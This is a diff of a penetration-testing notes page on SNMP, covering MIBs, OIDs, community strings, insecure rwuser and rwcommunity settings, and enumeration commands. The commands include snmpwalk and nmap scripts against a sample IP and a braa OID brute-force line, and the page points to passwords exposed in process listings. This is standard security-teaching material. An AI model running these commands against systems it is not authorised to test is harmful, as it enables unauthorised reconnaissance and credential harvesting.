To ensure that SNMP access works across manufacturers and with different client-server combinations, the **Management Information Base (MIB)** was created. MIB is an **independent format for storing device information**. A MIB is a **text** file in which all queryable **SNMP objects** of a device are listed in a **standardized** tree hierarchy. It contains at **least one `Object Identifier` (`OID`)**, which, in addition to the necessary **unique address** and a **name**, also provides information about the type, access rights, and a description of the respective object\
|
||||
MIB files are written in the `Abstract Syntax Notation One` (`ASN.1`) based ASCII text format. The **MIBs do not contain data**, but they explain **where to find which information** and what it looks like, which returns values for the specific OID, or which data type is used.
|
||||
|
||||
### OIDs
|
||||
|
||||
|
|
@ -79,7 +83,7 @@ _**(Example take from**_ [_**here**_](https://www.netadmintools.com/snmp-mib-and
|
|||
There are 2 important versions of SNMP:
|
||||
|
||||
* **SNMPv1**: Main one, it is still the most frequent, the **authentication is based on a string** (community string) that travels in **plain-text** (all the information travels in plain text). **Version 2 and 2c** send the **traffic in plain text** also and uses a **community string as authentication**.
|
||||
* **SNMPv3**: Uses a better authentication form and the information travels **encrypted** using (**dictionary attack** could be performed but would be much harder to find the correct creds that inn SNMPv1 and v2).
|
||||
* **SNMPv3**: Uses a better **authentication** form and the information travels **encrypted** using (**dictionary attack** could be performed but would be much harder to find the correct creds than in SNMPv1 and v2).
|
||||
|
||||
### Community Strings
|
||||
|
||||
|
|
@ -120,12 +124,17 @@ If you know a valid community string, you can access the data using **SNMPWalk**
|
|||
```bash
|
||||
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
|
||||
snmpbulkwalk -c public -v2c 10.10.11.136 .
|
||||
|
||||
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [DIR_IP]
|
||||
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [DIR_IP] 1.3.6.1.2.1.4.34.1.3 #Get IPv6, needed dec2hex
|
||||
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [DIR_IP] NET-SNMP-EXTEND-MIB::nsExtendObjects #get extended
|
||||
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [DIR_IP] .1 #Enum all
|
||||
|
||||
snmp-check [DIR_IP] -p [PORT] -c [COMM_STRING]
|
||||
|
||||
nmap --script "snmp* and not snmp-brute" <target>
|
||||
|
||||
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```
|
||||
|
||||
Thanks to extended queries (download-mibs), it is possible to enumerate even more about the system with the following command :
|
||||
|
|
@ -134,7 +143,19 @@ Thanks to extended queries (download-mibs), it is possible to enumerate even mor
|
|||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
|
||||
**SNMP** has a lot of information about the host and things that you may find interesting are: **Network interfaces** (IPv4 and **IPv6** address), Usernames, Uptime, Server/OS version, and **processes running** (may contain passwords)....
|
||||
**SNMP** has a lot of information about the host and things that you may find interesting are: **Network interfaces** (IPv4 and **IPv6** address), Usernames, Uptime, Server/OS version, and **processes** 
|
||||
|
||||
**running** (may contain passwords)....
|
||||
|
||||
### **Dangerous Settings**
|
||||
|
||||
**From** [**https://academy.hackthebox.com/module/112/section/1075**](https://academy.hackthebox.com/module/112/section/1075)****
|
||||
|
||||
| **Settings** | **Description** |
|
||||
| ------------------------------------------------ | ------------------------------------------------------------------------------------- |
|
||||
| `rwuser noauth` | Provides access to the full OID tree without authentication. |
|
||||
| `rwcommunity <community string> <IPv4 address>` | Provides access to the full OID tree regardless of where the requests were sent from. |
|
||||
| `rwcommunity6 <community string> <IPv6 address>` | Same access as with `rwcommunity` with the difference of using IPv6. |
|
||||
|
||||
### Cisco
|
||||
|
||||
|
|
|
|||
Loading…
Reference in New Issue